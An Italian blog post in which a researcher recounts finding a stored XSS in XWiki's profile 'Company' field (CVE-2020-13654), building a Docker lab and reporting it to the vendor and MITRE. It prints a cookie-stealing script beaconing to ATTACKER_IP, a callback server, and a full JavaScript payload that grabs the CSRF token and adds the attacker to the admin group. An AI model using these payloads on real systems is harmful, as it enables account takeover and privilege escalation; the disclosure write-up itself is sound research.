Trovare la prima CVE è una di quelle cose che rimane. Non tanto per il numero assegnato, che alla fine è solo un identificatore in un database, ma per il processo: il momento in cui capisci che il bug è reale, che nessuno lo ha segnalato prima di te, e che hai la responsabilità di gestirlo in modo corretto. Lo racconto in questo post dall’inizio alla fine: la scoperta, l’exploit e infine il processo di responsible disclosure con MITRE.
La vulnerabilità: cosa succede quando dimentichi di fare l’escaping
XWiki è una wiki enterprise scritta in Java, ampiamente usata in ambienti aziendali e universitari. Il motore di templating usato per il rendering delle pagine è Velocity, e qui sta la radice del problema.
Nelle versioni precedenti alla 12.8, alcuni campi del profilo utente, in particolare il campo “Azienda” nella sezione Modifica → Informazioni Personali, venivano scritti nel DOM senza alcuna sanitizzazione. Il codice Velocity vulnerabile faceva qualcosa del genere:
## Output diretto, senza encoding
$xwiki.getUserProperty($user, "company")
La fix introdotta nella 12.8 è stata semplice: passare il valore a $escapetool.xml(), che converte i caratteri speciali HTML (<, >, ", ecc.) nelle rispettive entity prima del rendering:
## Output sicuro
$escapetool.xml($xwiki.getUserProperty($user, "company"))
Senza questo escaping, qualsiasi stringa salvata nel campo viene iniettata direttamente nell’HTML della pagina del profilo. Il campo è modificabile da qualsiasi utente autenticato, inclusi account appena registrati senza privilegi, e la pagina del profilo è visibile a tutti, inclusi gli amministratori.
La classica ricetta per una Stored XSS.
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2020-13654 |
| Prodotto | XWiki Platform |
| Versioni affected | < 12.8 |
| CVSSv3 | 7.5 (High) |
| CWE | CWE-116 — Improper Encoding or Escaping of Output |
| Fix | XWiki Platform 12.8 |
Costruire il laboratorio con Docker Compose
Prima di scrivere un singolo payload, ho tirato su un ambiente riproducibile. Usare Docker per i lab di questo tipo è la scelta giusta: puoi distruggere e ricreare l’ambiente in pochi minuti, testi in isolamento, e hai una versione esatta del software vulnerabile senza dover gestire conflitti di dipendenze.
Il docker-compose.yml fa girare tre servizi:
- XWiki 11.10.5 (versione campione vulnerabile, pre-12.8) su Tomcat
- PostgreSQL 13 come database backend
- Un minimal exploit server Python che serve il payload e raccoglie le callback
services:
xwiki:
image: xwiki:11.10.5-postgres-tomcat
container_name: cve-2020-13654-xwiki
ports:
- "8080:8080"
environment:
DB_USER: xwiki
DB_PASSWORD: xwikipassword
DB_DATABASE: xwiki
DB_HOST: db
depends_on:
db:
condition: service_healthy
db:
image: postgres:13
environment:
POSTGRES_USER: xwiki
POSTGRES_PASSWORD: xwikipassword
POSTGRES_DB: xwiki
healthcheck:
test: ["CMD-SHELL", "pg_isready -U xwiki"]
interval: 10s
retries: 5
docker compose up -d
L’immagine Docker ufficiale di XWiki fa un’inizializzazione al primo avvio che richiede qualche minuto. Prima che il database venga popolato, il frontend risponde con errori generici. Serve aspettare che il container xwiki smetta di fare log e che la home page risponda correttamente. L’app è quindi pronta per il primo wizard su http://localhost:8080.
Primo tentativo: furto di cookie
Il payload classico per una Stored XSS è il furto di cookie di sessione. L’idea è semplice: inietti uno script che legge document.cookie e lo manda a un tuo server via beacon HTTP.
Ho creato un mini HTTP server in Python che ascolta su una porta e logga qualsiasi cosa arrivi in query string:
class CookieCatcherHandler(BaseHTTPRequestHandler):
def do_GET(self):
params = parse_qs(urlparse(self.path).query)
victim_ip = self.client_address[0]
cookie = params.get("c", ["<empty>"])[0]
logger.info(f"HIT from {victim_ip}: {cookie}")
# risponde con 1x1 GIF trasparente per non generare errori nel browser
self.send_response(200)
self.send_header("Content-Type", "image/gif")
self.end_headers()
self.wfile.write(b"GIF89a\x01\x00\x01\x00\x00\xff\x00,...;")
E il payload iniettato nel campo “Azienda”:
<script>
new Image().src = "http://ATTACKER_IP:9000/?c=" + encodeURIComponent(document.cookie);
</script>
La meccanica funziona così: quando un utente visita il profilo, il browser esegue lo script, costruisce l’URL con il valore di document.cookie e carica l’immagine che non esiste, ma il server registra la richiesta prima ancora che il browser si accorga che non è un’immagine valida.
Ho verificato che il payload venisse storato correttamente controllando il sorgente della pagina del profilo. Il tag <script> era lì, grezzo, senza encoding. ✅
Ho fatto il test con una sessione admin separata: ho aperto un browser in incognito, loggato come Admin, navigato al profilo dell’utente attaccante.
Il server ha ricevuto la richiesta. Ma il cookie era vuoto.
Il blocco: HttpOnly
Quando il cookie arrivò vuoto, la prima cosa che ho fatto è stata aprire DevTools → Application → Cookies su XWiki e controllare i flag.
JSESSIONID ABC123... HttpOnly ✓ Secure ✗ SameSite: Lax
HttpOnly.
Il flag HttpOnly su un cookie istruisce il browser a non esporre quel cookie all’API JavaScript. document.cookie restituisce solo i cookie senza HttpOnly, quindi il JSESSIONID, il cookie di sessione di Tomcat, era completamente invisibile al payload JavaScript.
Questo è esattamente il tipo di blocco che ti fa fermare a pensare. Bisogna trovare un’altra via.
Pensare laterale: da furto di cookie a CSRF-driven privilege escalation
Se non posso rubare il cookie, posso comunque usare la sessione dell’admin mentre è nel suo browser. Questo è il principio del Cross-Site Request Forgery: il browser dell’admin ha già una sessione autenticata con XWiki, quindi qualsiasi richiesta HTTP che JavaScript fa verso XWiki, nei limiti della Same-Origin Policy, viene inviata con i cookie di sessione in automatico.
La domanda quindi diventa: cosa posso fare come admin su XWiki che valga la pena automatizzare?
Una risposta valida: aggiungere il mio utente al gruppo XWikiAdminGroup.
Come funziona la gestione dei gruppi in XWiki
XWiki gestisce i gruppi come pagine wiki speciali. XWikiAdminGroup è la pagina che contiene la lista dei membri con privilegi amministrativi. Aggiungere un membro al gruppo si fa con una POST a quella pagina con il parametro xpage=adduorg.
Intercettando il traffico con Burp Suite mentre aggiungevo manualmente un utente al gruppo dall’interfaccia admin, ho identificato la richiesta:
POST /bin/view/XWiki/XWikiAdminGroup HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=<admin_session>
Content-Type: multipart/form-data
form_token=<csrf_token>&xpage=adduorg&name=XWiki.attacker
Ci sono due ingredienti critici: il JSESSIONID (gestito automaticamente dal browser, non accessibile via JS) e il form_token, il token anti-CSRF di XWiki.
Estrarre il CSRF token via JavaScript
Il token form_token è diverso dal cookie: non ha il flag HttpOnly perché deve essere accessibile al codice client-side per essere incluso nei form. XWiki lo espone in due modi a seconda della versione:
- Come
<input type="hidden" name="form_token" value="...">all’interno dei form - Come attributo
data-xwiki-form-tokendirettamente sull’elemento<html>
JavaScript può leggere entrambi senza problemi. Quindi il piano è:
- Fare una
fetch()a/bin/view/XWiki/XWikiAdminGroup - Parsare l’HTML della risposta con
DOMParser - Estrarre il
form_token - Fare una seconda
fetch()con una POST verso lo stesso endpoint, includendo il token e il nome dell’attaccante - Inviare il risultato al server
Tutto questo viene eseguito nella sessione autenticata del browser admin, XWiki vede richieste legittime firmate con un token CSRF valido e un cookie di sessione valido. Non c’è modo di distinguerle da interazioni umane normali.
Il payload JavaScript
(async () => {
const catcherUrl = new URL(document.currentScript.src).origin;
const log = (msg) => new Image().src = catcherUrl + '/?c=' + encodeURIComponent(msg);
const getToken = (html) => {
const doc = new DOMParser().parseFromString(html, 'text/html');
const input = doc.querySelector('input[name="form_token"]');
if (input) return input.value;
const htmlTag = doc.querySelector('html');
return htmlTag ? (htmlTag.getAttribute('data-xwiki-form-token') || '') : '';
};
try {
const attackerUser = XWiki.currentSpace + '.' + XWiki.currentPage;
log('START_PRIVESC_FOR_' + attackerUser);
const groupUrl = '/bin/view/XWiki/XWikiAdminGroup';
const html = await (await fetch(groupUrl)).text();
const token = getToken(html);
if (!token) { log('ERR_TOKEN_NOT_FOUND'); return; }
const fd = new FormData();
fd.append('form_token', token);
fd.append('xpage', 'adduorg');
fd.append('name', attackerUser);
const resp = await fetch(groupUrl, { method: 'POST', body: fd });
log(resp.ok ? 'SUCCESS_ELEVATED_' + attackerUser : 'FAIL_HTTP_' + resp.status);
} catch (e) {
log('ERR_' + e.message);
}
})();
Un dettaglio elegante: document.currentScript.src contiene l’URL completo da cui lo script è stato caricato. Usando new URL(...).origin ricaviamo il base URL del nostro server senza doverlo hardcodare nel tag <script> storato nel profilo.
Il tag XSS storato
Nel campo “Azienda” del profilo, invece del classico <script>alert()</script>, ho iniettato:
<script src="http://ATTACKER_IP:9000/payload.js"></script>
XWiki non fa nessun encoding: il tag viene salvato nel database e reso al browser di ogni visitatore così com’è.
Exploit chain completa
Attaccante (basso privilegio)
│
├─ 1. Registra account → Login
├─ 2. Inietta <script src="http://attacker/payload.js"> nel campo "Azienda"
├─ 3. Avvia exploit server (serve payload.js + logga beacon)
▼
Profilo XWiki avvelenato: http://xwiki/bin/view/XWiki/attacker
│
├─ Admin naviga il profilo (anche involontariamente, e.g. via lista utenti)
▼
Browser Admin esegue payload.js
│
├─ fetch GET /bin/view/XWiki/XWikiAdminGroup → estrae form_token
└─ fetch POST /bin/view/XWiki/XWikiAdminGroup
form_token=<token_csrf_valido>
xpage=adduorg
name=XWiki.attacker
│
▼
XWiki aggiunge "attacker" a XWikiAdminGroup ✅
│
├─ beacon → "SUCCESS_ELEVATED_XWiki.attacker"
│
▼
Attaccante ora è admin
Il tutto avviene in modo silenzioso, senza alert, senza redirect, senza nulla di visibile per l’admin. Zero interazione richiesta oltre alla singola visita al profilo.
Trovate il repository dove ho reso disponibile la PoC completa, inclusi il laboratorio Docker e l’exploit server, qui: Astaruf/CVE-2020-13654.
Responsible Disclosure: come si fa, passo per passo
Avere un exploit funzionante non è la fine, anzi, è il momento in cui inizia la parte più delicata. Il principio della responsible disclosure (o coordinated disclosure) dice che quando trovi una vulnerabilità in un software, hai la responsabilità di informare il vendor prima di rendere pubblico qualsiasi dettaglio, dandogli il tempo di rilasciare una fix.
Perché è importante
Non è solo una questione etica. Una divulgazione responsabile protegge gli utenti finali che stanno ancora usando il software vulnerabile, costruisce la tua reputazione come ricercatore serio, e nella maggior parte delle giurisdizioni riduce (ma non elimina) i rischi legali associati alla ricerca di sicurezza.
Step 1: Trovare il canale di segnalazione
Il primo posto dove cercare è il SECURITY.md nel repository GitHub del progetto, se esiste. In alternativa, molti vendor pubblicano un indirizzo email dedicato tipo security@vendor.com, o usano piattaforme come HackerOne o Bugcrowd.
Per XWiki, il repository su GitHub ha un security policy che indica come contattare il team. Ho preparato un report strutturato che includeva:
- Descrizione della vulnerabilità: tipo, CWE, endpoint/campo affected
- Versioni affected: confermato su 11.10.5, presumibilmente tutte le versioni < 12.8
- Proof of Concept: payload minimale per riprodurre l’XSS e steps dettagliati
- Impact assessment: scenario di furto di cookie + scenario di privesc via CSRF
- Suggerimento di fix: applicare
$escapetool.xml()al campo Company e agli altri campi del profilo
Step 2: Coordinarsi sul fix
Il team di XWiki ha risposto in modo professionale e ha confermato il bug. Abbiamo concordato una finestra temporale prima della divulgazione pubblica per permettere loro di sviluppare e rilasciare il fix. La patch è arrivata nella versione 12.8.
Step 3: Richiedere la CVE a MITRE
Una CVE (Common Vulnerabilities and Exposures) è un identificatore univoco assegnato a una vulnerabilità nel sistema gestito da MITRE. Avere una CVE assegnata alla tua scoperta è importante perché permette alla comunità di security di referenziare univocamente la vulnerabilità, nei security advisory, negli scanner, nei database come NVD.
Per richiedere una CVE, ci sono due percorsi principali:
- Tramite un CNA (CVE Numbering Authority): se il vendor del software è lui stesso un CNA (come Microsoft, Google, ecc.), può assegnare direttamente la CVE. XWiki non era un CNA all’epoca.
- Direttamente a MITRE: compilando il form su cveform.mitre.org
Ho usato il secondo percorso. Il form richiede:
- Tipo di vulnerabilità (CWE)
- Prodotto affetto, versioni, vendor
- Descrizione tecnica della vulnerabilità
- Proof of concept o riferimenti pubblici
- Contatti del segnalante
Un dettaglio importante: MITRE non assegna CVE a vulnerabilità non ancora fixate o non coordinate col vendor (in linea generale). Avendo già un fix in produzione su XWiki 12.8, la richiesta è stata più semplice da processare.
Step 4: L’assegnazione
Dopo alcune settimane, MITRE ha risposto assegnando l’identificatore CVE-2020-13654. La entry è poi comparsa su NVD (National Vulnerability Database) con il punteggio CVSSv3 calcolato automaticamente dal team NVD: 7.5 High.
Il punteggio tiene conto di:
- Attack Vector: Network — sfruttabile da remoto
- Attack Complexity: Low — nessuna condizione speciale richiesta
- Privileges Required: Low — basta un account registrato
- User Interaction: Required — serve che l’admin visiti il profilo
- Scope: Changed — l’impatto va oltre il contesto dell’account attaccante
- Confidentiality / Integrity / Availability: High / High / None
Il fatto che la privesc fosse possibile ha probabilmente influenzato il punteggio verso il range High nonostante la User Interaction Required.
Conclusione
Questa prima CVE mi ha insegnato più cose in parallelo: il valore di leggere i template di rendering quando fai code review, l’importanza del flag HttpOnly (e cosa succede quando c’è, devi andare più in profondità), e come il processo di responsible disclosure funziona nella pratica, non solo in teoria.
Il momento più interessante è stato quello del pivot: rendermi conto che il cookie era inaccessibile e dover riconsiderare il threat model. Il browser dell’admin è un client autenticato, anche se non posso estrarre le sue credenziali, posso comunque usarle per fare richieste in suo nome. Il CSRF token era l’unico elemento mancante, e JavaScript poteva leggerlo liberamente.
La PoC completa con exploit server integrato è disponibile su GitHub: astaruf/CVE-2020-13654.